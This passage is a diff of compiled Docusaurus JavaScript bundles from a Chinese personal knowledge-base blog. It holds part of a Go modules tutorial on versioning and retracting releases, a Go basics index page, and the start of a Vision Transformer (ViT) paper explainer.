\u5411\u6307\u5b9a\u4eba\u6253\u62db\u547c\u7684\u51fd\u6570\nfunc SayHi(name string) {\n\tfmt.Printf("\u4f60\u597d%s\uff0c\u6211\u662f\u4e03\u7c73\u3002\u5f88\u9ad8\u5174\u8ba4\u8bc6\u4f60\u3002\\n", name)\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7531\u4e8e\u8fd9\u6b21\u6539\u52a8\u5de8\u5927\uff08\u4fee\u6539\u4e86\u51fd\u6570\u4e4b\u524d\u7684\u8c03\u7528\u89c4\u5219\uff09\uff0c\u5bf9\u4e4b\u524d\u4f7f\u7528\u8be5\u5305\u4f5c\u4e3a\u4f9d\u8d56\u7684\u7528\u6237\u5f71\u54cd\u5de8\u5927\u3002\u56e0\u6b64\u6211\u4eec\u9700\u8981\u53d1\u5e03\u4e00\u4e2a\u4e3b\u7248\u672c\u53f7\u9012\u589e\u7684",(0,i.jsx)(e.code,{children:"v2"}),"\u7248\u672c\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u4fee\u6539\u5f53\u524d\u5305\u7684\u5f15\u5165\u8def\u5f84\uff0c\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u4e00\u6837\u4e3a\u5f15\u5165\u8def\u5f84\u6dfb\u52a0\u7248\u672c\u540e\u7f00\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// hello/go.mod\n\nmodule github.com/q1mi/hello/v2\n\ngo 1.16\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u628a\u4fee\u6539\u540e\u7684\u4ee3\u7801\u63d0\u4ea4\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'hello $ git add .\nhello $ git commit -m "feat: SayHi\u73b0\u5728\u652f\u6301\u7ed9\u6307\u5b9a\u4eba\u6253\u62db\u547c\u5566"\nhello $ git push\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u6253\u597d tag \u63a8\u9001\u5230\u8fdc\u7a0b\u4ed3\u5e93\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'hello $ git tag -a v2.0.0 -m "release version v2.0.0"\nhello $ git push origin v2.0.0\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u4e0d\u5f71\u54cd\u4f7f\u7528\u65e7\u7248\u672c\u7684\u7528\u6237\u7684\u524d\u63d0\u4e0b\uff0c\u6211\u4eec\u65b0\u7684\u7248\u672c\u4e5f\u53d1\u5e03\u51fa\u53bb\u4e86\u3002\u60f3\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"v2"}),"\u7248\u672c\u7684\u4ee3\u7801\u5305\u7684\u7528\u6237\u53ea\u9700\u6309\u4fee\u6539\u540e\u7684\u5f15\u5165\u8def\u5f84\u4e0b\u8f7d\u5373\u53ef\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"go get github.com/q1mi/hello/v2@v2.0.0\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u4ee3\u7801\u4e2d\u4f7f\u7528\u7684\u8fc7\u7a0b\u4e0e\u4e4b\u524d\u7c7b\u4f3c\uff0c\u53ea\u662f\u9700\u8981\u6ce8\u610f\u5f15\u5165\u8def\u5f84\u8981\u6dfb\u52a0 v2 \u7248\u672c\u540e\u7f00\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"github.com/q1mi/hello/v2" // \u5f15\u5165v2\u7248\u672c\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\n\thello.SayHi("\u5f20\u4e09") // v2\u7248\u672c\u7684SayHi\u51fd\u6570\u9700\u8981\u4f20\u5165\u5b57\u7b26\u4e32\u53c2\u6570\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5e9f\u5f03\u5df2\u53d1\u5e03\u7248\u672c"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u67d0\u4e2a\u53d1\u5e03\u7684\u7248\u672c\u5b58\u5728\u81f4\u547d\u7f3a\u9677\u4e0d\u518d\u60f3\u8ba9\u7528\u6237\u4f7f\u7528\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"retract"}),"\u58f0\u660e\u5e9f\u5f03\u7684\u7248\u672c\u3002\u4f8b\u5982\u6211\u4eec\u5728",(0,i.jsx)(e.code,{children:"hello/go.mod"}),"\u6587\u4ef6\u4e2d\u6309\u5982\u4e0b\u65b9\u5f0f\u58f0\u660e\u5373\u53ef\u5bf9\u5916\u5e9f\u5f03",(0,i.jsx)(e.code,{children:"v0.1.2"}),"\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module github.com/q1mi/hello\n\ngo 1.16\n\n\nretract v0.1.2\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7528\u6237\u4f7f\u7528go get\u4e0b\u8f7d",(0,i.jsx)(e.code,{children:"v0.1.2"}),"\u7248\u672c\u65f6\u5c31\u4f1a\u6536\u5230\u63d0\u793a\uff0c\u50ac\u4fc3\u5176\u5347\u7ea7\u5230\u5176\u4ed6\u7248\u672c\u3002"]})]})}function t(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/assets/js/a3e6d116.6512e4dd.js b/assets/js/a3e6d116.6512e4dd.js new file mode 100644 index 0000000..0dcc218 --- /dev/null +++ b/assets/js/a3e6d116.6512e4dd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[294],{15573:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>o,toc:()=>d});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/README","title":"Go\u57fa\u7840\u7f16\u7a0b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u8bed\u8a00\u77e5\u8bc6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/"},"next":{"title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e"}}');var s=n(74848),r=n(28453);const l={},i="Go\u57fa\u7840\u7f16\u7a0b",c={},d=[];function a(e){const t={a:"a",blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"go\u57fa\u7840\u7f16\u7a0b",children:"Go\u57fa\u7840\u7f16\u7a0b"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:29:12"})]})})]}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"[!Tip]"}),"\n"]}),"\n",(0,s.jsxs)(t.p,{children:["\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 ",(0,s.jsx)(t.a,{href:"https://www.liwenzhou.com/posts/Go/golang-menu/",children:"Go\u8bed\u8a00\u5b66\u4e60\u4e4b\u8def/Go\u8bed\u8a00\u6559\u7a0b | \u674e\u6587\u5468\u7684\u535a\u5ba2"}),"\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002"]}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var o=n(96540);const s={},r=o.createContext(s);function l(e){const t=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),o.createElement(r.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/a41e22a0.9f8881e9.js b/assets/js/a41e22a0.9f8881e9.js new file mode 100644 index 0000000..a82fd5a --- /dev/null +++ b/assets/js/a41e22a0.9f8881e9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9589],{28453:(e,n,s)=>{s.d(n,{R:()=>a,x:()=>d});var t=s(96540);const i={},r=t.createContext(i);function a(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:a(e.components),t.createElement(r.Provider,{value:n},e.children)}},49848:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>h,frontMatter:()=>a,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","title":"ViT\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Transformer \u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb"},"next":{"title":"MMYOLO\u5b9e\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/"}}');var i=s(74848),r=s(28453);const a={},d="ViT\u89e3\u8bfb.md",o={},l=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"ViT \u7684\u6574\u4f53\u6d41\u7a0b",id:"vit-\u7684\u6574\u4f53\u6d41\u7a0b",level:2},{value:"\u5207\u5206\u548c\u6620\u5c04 Patch Embedding + Linear Projection",id:"\u5207\u5206\u548c\u6620\u5c04-patch-embedding--linear-projection",level:2},{value:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f Class Token + Postional Embedding",id:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f-class-token--postional-embedding",level:2},{value:"Transformer Encoder",id:"transformer-encoder",level:2},{value:"Multi-head Attention",id:"multi-head-attention",level:3},{value:"MLP",id:"mlp",level:3},{value:"Layer Norm",id:"layer-norm",level:3},{value:"Transformer Encoder \u5b8c\u6574\u4ee3\u7801",id:"transformer-encoder-\u5b8c\u6574\u4ee3\u7801",level:3},{value:"ViT \u5b8c\u6574\u4ee3\u7801",id:"vit-\u5b8c\u6574\u4ee3\u7801",level:2}];function c(e){const n={a:"a",b:"b",blockquote:"blockquote",br:"br",center:"center",code:"code",em:"em",figure:"figure",font:"font",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"vit\u89e3\u8bfbmd",children:"ViT\u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(n.h1,{id:"vit\u89e3\u8bfb",children:"ViT\u89e3\u8bfb"}),"\n",(0,i.jsxs)(n.p,{children:["\n",(0,i.jsx)(n.font,{size:"3",children:(0,i.jsx)(n.b,{children:"[ViT] An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale."})}),"\n",(0,i.jsx)(n.br,{}),"\n",(0,i.jsx)(n.font,{size:"2",children:"Alexey Dosovitskiy, Lucas Beyer, Alexander Kolesnikov, Dirk Weissenborn, Xiaohua Zhai, Thomas Unterthiner, Mostafa Dehghani, Matthias Minderer, Georg Heigold, Sylvain Gelly, Jakob Uszkoreit, Neil Houlsby."}),"\n",(0,i.jsx)(n.br,{}),"\n",(0,i.jsx)(n.font,{size:"2",children:"ICLR 2021."}),"\n",(0,i.jsx)(n.a,{href:"https://arxiv.org/pdf/2010.11929v2.pdf",children:"[paper]"})," ",(0,i.jsx)(n.a,{href:"https://github.com/lucidrains/vit-pytorch/blob/main/vit_pytorch/vit.py",children:"[code]"})," \n",(0,i.jsx)(n.br,{}),"\n",(0,i.jsx)(n.font,{size:"3",children:"\u89e3\u8bfb\u8005\uff1a\u725b\u5fd7\u5eb7\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f\uff0cDatawhale\u6210\u5458\uff1b\u5c0f\u996d\u540c\u5b66\uff0c\u9999\u6e2f\u57ce\u5e02\u5927\u5b66\u7814\u7a76\u751f\n"}),"\n",(0,i.jsx)(n.br,{}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,i.jsx)(n.p,{children:"Transformer \u5df2\u7ecf\u6210\u4e3a\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u7684\u4e00\u79cd\u57fa\u7840\u7f51\u7edc\uff0c\u4f46\u5b83\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u7684\u5e94\u7528\u4ecd\u7136\u6709\u9650\u3002\u56e0\u4e3a Transformer \u5bf9\u5e8f\u5217\u8fdb\u884c\u5efa\u6a21\uff0c\u5982\u679c\u6211\u4eec\u5c06\u56fe\u50cf\u79cd\u7684\u6bcf\u4e00\u4e2a\u50cf\u7d20\u90fd\u4f5c\u4e3a\u5e8f\u5217\u4e2d\u7684\u5143\u7d20\uff0c\u56e0\u4e3a\u5e8f\u5217\u7684\u5927\u5c0f\u4e0e\u56fe\u7247\u7684\u5927\u5c0f\u5448\u5e73\u65b9\u5173\u7cfb\uff0c\u5c06\u5bfc\u81f4\u8ba1\u7b97\u91cf\u5927\u5927\u589e\u52a0\u3002\u73b0\u6709\u7684\u5de5\u4f5c\u8981\u4e48\u662f\u5c06\u6ce8\u610f\u529b\u4e0e\u5377\u79ef\u7f51\u7edc\u7ed3\u5408\u4f7f\u7528\uff0c\u8981\u4e48\u7528\u6ce8\u610f\u529b\u673a\u5236\u66ff\u6362 CNN \u7684\u67d0\u4e9b\u7ec4\u4ef6\u6216\u8005\u964d\u4f4e\u56fe\u7247\u7684\u5e8f\u5217\u957f\u5ea6\u3002\u8fd9\u4e9b\u6539\u8fdb\u90fd\u662f\u57fa\u4e8e convolutional neural network (CNN) \u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u6784\u5efa\u7684\uff0c\u4e8e\u662f\u4eba\u4eec\u5c31\u5728\u5e0c\u671b\u6709\u4e00\u79cd\u5b8c\u5168\u57fa\u4e8e Transformer \u7684\u9aa8\u5e72\u7f51\u7edc\uff0c\u53ef\u4ee5\u62e5\u6709 Transformer \u5168\u5c40\u5efa\u6a21\u7684\u7279\u6027\u4e5f\u53ef\u4ee5\u4e0d\u8fc7\u591a\u4fee\u6539\u539f\u59cb Transformer \u7684\u7ed3\u6784\u3002\u57fa\u4e8e\u8fd9\u79cd motivation\uff0c\u624d\u51fa\u73b0\u4e86 Vision Transformer (ViT) \u8fd9\u7bc7\u4f18\u79c0\u7684\u5de5\u4f5c\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u672c\u6587\u5c06\u4ece\u539f\u7406\u548c\u4ee3\u7801\u5b9e\u73b0\u4e0a\u8fdb\u884c\u8bb2\u89e3\uff0c\u7ed3\u5408\u672c\u8bfe\u7a0b\u9700\u6c42\uff0c\u6211\u4eec\u5c06\u7740\u91cd\u8bb2\u89e3\u4ee3\u7801\u7684\u5b9e\u73b0\uff0c\u8bba\u6587\u4e2d\u66f4\u591a\u7684\u7ec6\u8282\u8fd8\u8bf7\u5404\u4f4d\u540c\u5b66\u8be6\u7ec6\u9605\u8bfb\u539f\u8bba\u6587\u6216\u5173\u6ce8 Whalepaper \u540e\u7eed\u7684\u8bba\u6587\u7cbe\u8bfb\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"vit-\u7684\u6574\u4f53\u6d41\u7a0b",children:"ViT \u7684\u6574\u4f53\u6d41\u7a0b"}),"\n",(0,i.jsxs)(n.p,{children:["\u5982\u4e0b\u56fe\u6240\u793a\uff0cViT \u7684\u4e3b\u8981\u601d\u60f3\u662f\u5c06\u56fe\u7247\u5206\u6210\u4e00\u4e2a\u4e00\u4e2a\u7684\u5c0f ",(0,i.jsx)(n.code,{children:"patch"}),"\uff0c\u5c06\u6bcf\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"patch"})," \u4f5c\u4e3a\u5e8f\u5217\u7684\u5143\u7d20\u8f93\u5165 Transformer \u4e2d\u8fdb\u884c\u8ba1\u7b97\u3002\n",(0,i.jsx)(n.img,{src:"figures/vit_framework.png",align:"center",style:{zoom:"80%"}})]}),"\n",(0,i.jsx)(n.p,{children:"\u5176\u5177\u4f53\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"\u5207\u5206\u548c\u6620\u5c04"}),"\uff1a\u5bf9\u4e00\u5f20\u6807\u51c6\u56fe\u50cf\uff0c\u6211\u4eec\u9996\u5148\u5c06\u56fe\u7247\u5207\u5206\u6210\u4e00\u4e2a\u4e00\u4e2a\u5c0f\u7684 ",(0,i.jsx)(n.code,{children:"patch"}),"\uff0c\u7136\u540e\u5c06\u5b83\u4eec\u7684\u7ef4\u5ea6\u62c9\u5e73 ",(0,i.jsx)(n.code,{children:"Flatten"})," \u4e3a\u4e00\u7ef4\u7684\u5411\u91cf\uff0c\u6700\u540e\u6211\u4eec\u5c06\u8fd9\u4e9b\u5411\u91cf\u901a\u8fc7\u7ebf\u6027\u6620\u5c04 ",(0,i.jsx)(n.code,{children:"Linear Project"})," $\\mathbf{E}$ \u5230\u7ef4\u5ea6\u4e3a $D$ \u7684\u7a7a\u95f4\u3002"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f"}),"\uff1a",(0,i.jsx)(n.strong,{children:"\u5206\u7c7b\u8868\u5f81"}),"\uff1a\u4e3a\u4e86\u5b9e\u73b0\u56fe\u50cf\u5206\u7c7b\uff0c\u6211\u4eec\u5728\u5f97\u5230\u7684\u5411\u91cf\u4e2d\u9700\u8981\u52a0\u5165\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"classs token"})," $\\mathbf{x}",(0,i.jsxs)(n.em,{children:["\\text{class}$ \u4f5c\u4e3a\u5206\u7c7b\u8868\u5f81\uff08\u5982\u4e0a\u56fe\u4e2d\u6807\u6ce8 $*$\u7684\u7c89\u8272\u5411\u91cf\u6240\u793a\uff09\u3002",(0,i.jsx)(n.strong,{children:"\u4f4d\u7f6e\u4fe1\u606f"}),"\uff1a\u56fe\u50cf\u548c\u6587\u672c\u4e00\u6837\u4e5f\u9700\u8981\u6ce8\u610f\u987a\u5e8f\u95ee\u9898\uff0c\u56e0\u6b64\u4f5c\u8005\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"Position Embedding"})," $\\mathbf{E}"]}),"{pos}$ \u52a0\u5165\u4f4d\u7f6e\u7f16\u7801\u4fe1\u606f\uff08\u5982\u4e0a\u56fe\u4e2d\u6807\u6ce8 $0-9$ \u7684\u7d2b\u8272\u5411\u91cf\u6240\u793a\uff09\u3002"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Transformer Encoder"}),"\uff1a\u7136\u540e\u6211\u4eec\u5c06\u7ecf\u8fc7\u4e0a\u9762\u64cd\u4f5c\u7684 ",(0,i.jsx)(n.code,{children:"token"})," \u9001\u5165 ",(0,i.jsx)(n.code,{children:"Transformer Encoder"}),"\u3002\u8fd9\u91cc\u7684 ",(0,i.jsx)(n.code,{children:"Transformer Encoder"})," \u548c ",(0,i.jsx)(n.code,{children:"Transformer (Attention is All You Need)"})," \u6587\u7ae0\u4e2d\u5b9e\u73b0\u57fa\u672c\u4e00\u81f4\uff0c\u4e3b\u8981\u662f\u901a\u8fc7\u591a\u5934\u6ce8\u610f\u529b\u673a\u5236\uff0c\u5bf9 ",(0,i.jsx)(n.code,{children:"patch"})," \u4e4b\u95f4\u8fdb\u884c\u5168\u5c40\u7684\u4fe1\u606f\u63d0\u53d6\u3002"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"\u8f93\u51fa\u4e0e\u5206\u7c7b"}),"\uff1a\u5bf9\u4e8e\u5206\u7c7b\u4efb\u52a1\uff0c\u6211\u4eec\u53ea\u9700\u8981\u83b7\u5f97 ",(0,i.jsx)(n.code,{children:"class token"})," \u7ecf\u8fc7 ",(0,i.jsx)(n.code,{children:"Transformer Encoder"})," \u5f97\u5230\u7684\u8f93\u51fa\uff0c\u52a0\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"MLP Head"})," \u8fdb\u884c\u5206\u7c7b\u5b66\u4e60\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u6211\u4eec\u8bba\u6587\u4ee3\u7801\u7684\u8bb2\u89e3\u4e5f\u5c06\u6309\u7167\u4e0a\u9762\u7684\u6d41\u7a0b\uff0c\u5bf9\u91cd\u8981\u6a21\u5757\u8fdb\u884c\u8bb2\u89e3\uff0c\u6211\u4eec\u6240\u5c55\u793a\u7684ViT\u4ee3\u7801\u793a\u4f8b\u6765\u6e90\u4e8e",(0,i.jsx)(n.a,{href:"https://github.com/rwightman/pytorch-image-models/blob/master/timm/models/vision_transformer.py",children:"rwightman/timm"}),"\u5e76\u8fdb\u884c\u4e86\u90e8\u5206\u7b80\u5316\uff0c\u5728\u6b64\u611f\u8c22\u6bcf\u4e00\u4f4d\u5f00\u6e90\u8d21\u732e\u8005\u6240\u4f5c\u51fa\u7684\u8d21\u732e\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"\u5207\u5206\u548c\u6620\u5c04-patch-embedding--linear-projection",children:"\u5207\u5206\u548c\u6620\u5c04 Patch Embedding + Linear Projection"}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u4e00\u5f20\u6807\u51c6\u56fe\u50cf $\\mathbf{x}$\uff0c\u5176\u5206\u8fa8\u7387\u4e3a $H \\times W \\times C$\u3002\u4e3a\u4e86\u65b9\u4fbf\u8ba8\u8bba\uff0c\u6211\u4eec\u53d6 ViT \u7684\u6807\u51c6\u8f93\u5165 $H \\times W \\times C = 224 \\times 224 \\times 3$ \u8fdb\u884c\u4e00\u4e9b\u5177\u4f53\u7ef4\u5ea6\u7684\u8bb2\u89e3\u3002\u901a\u8fc7\u5207\u5206\u64cd\u4f5c\uff0c\u6211\u4eec\u5c06\u6574\u4e2a\u56fe\u7247\u5206\u6210\u591a\u4e2a ",(0,i.jsx)(n.code,{children:"patch"})," $\\mathbf{x}_p$\uff0c\u5176\u5927\u5c0f\u4e3a $$P \\times P \\times C = 16 \\times 16 \\times 3 = 768\u3002$$ \u8fd9\u6837\uff0c\u4e00\u5171\u53ef\u4ee5\u5f97\u5230 ",(0,i.jsx)(n.code,{children:"Patch"})," \u7684\u6570\u91cf\u4e3a $$N={(H \\times W)}/{(P \\times P)} = {(224 \\times 224)}/{(16 \\times 16)} = {(224 / 16)}\\times {(224 / 16)} = 14 \\times 14 = 196\u3002$$ \u6240\u4ee5\uff0c\u6211\u4eec\u5c06\u4e00\u5f20 $224 \\times 224 \\times 3$ \u7684\u6807\u51c6\u56fe\u7247\uff0c \u901a\u8fc7\u8f6c\u6362\u5f97\u5230\u4e86 $196$ \u4e2a ",(0,i.jsx)(n.code,{children:"patch"}),"\uff0c\u6bcf\u4e2a ",(0,i.jsx)(n.code,{children:"patch"})," \u7684\u7ef4\u5ea6\u662f $768$\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u5f97\u5230\u7684 ",(0,i.jsx)(n.code,{children:"patch"})," \u901a\u8fc7 $\\mathbf{E} \\in {\\mathbb{R}^{768 \\times D}}$ \u8fdb\u884c\u7ebf\u6027\u6620\u5c04\u5230\u7ef4\u5ea6 $D$\uff0c\u6211\u4eec\u5c06\u6620\u5c04\u540e\u7684 ",(0,i.jsx)(n.code,{children:"patch"})," \u53eb\u505a 